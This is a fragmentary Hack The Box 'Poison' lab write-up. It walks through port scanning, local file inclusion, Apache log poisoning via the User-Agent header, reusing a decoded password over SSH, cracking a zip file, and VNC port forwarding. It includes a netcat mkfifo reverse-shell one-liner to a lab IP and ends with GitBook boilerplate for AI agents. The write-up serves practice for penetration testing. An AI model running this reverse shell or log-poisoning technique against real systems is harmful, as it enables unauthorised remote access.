> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-poison.md). # HTB - Poison ## Enumeration and Foothold ### NMAP ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd ``` ### HTTP
file parameter directly references the php file being tested. testing `listfiles.php` shows a txt file that is not shown earlier.
shows a password which is base64 encoded at least 13 times.
LFI confirmed. The default access log path for Apache httpd 2.4.29 is `/var/log/httpd-access.log`
that is can do log poisoning via User-Agent. ### Log Poisoning ```bash ┌──(ajay㉿kali)-[~] └─$ curl -A "" http://10.129.1.254/

Temporary website to test local .php scripts.

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php
Scriptname:
```
now i can use this to get reverse shell on my machine. ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4444 >/tmp/f ```
stable the shell.
i already have password for charix lets try using it through ssh. ## SSH as Charix
extracting the file asks fro passphrase that said i can get that to my machine and use john the ripper to crack the password.
the password was same as the password fro charix but the data is complete garbage.
root is connecting to a vnc server on port 5901 that said i can do port forwarding and see what we can do . Xvnc is a specialized server program for Unix and Linux systems that combines a virtual X11 display server with a Virtual Network Computing (VNC) server. It lets local software draw windows on a fake screen, while remote users view and control that desktop using any standard VNC client viewer. ### VNC Viewer
asks for password. we also connect to vnc using password file probably the secret file extracted can be useful here.
## Shell as Root
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-poison.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.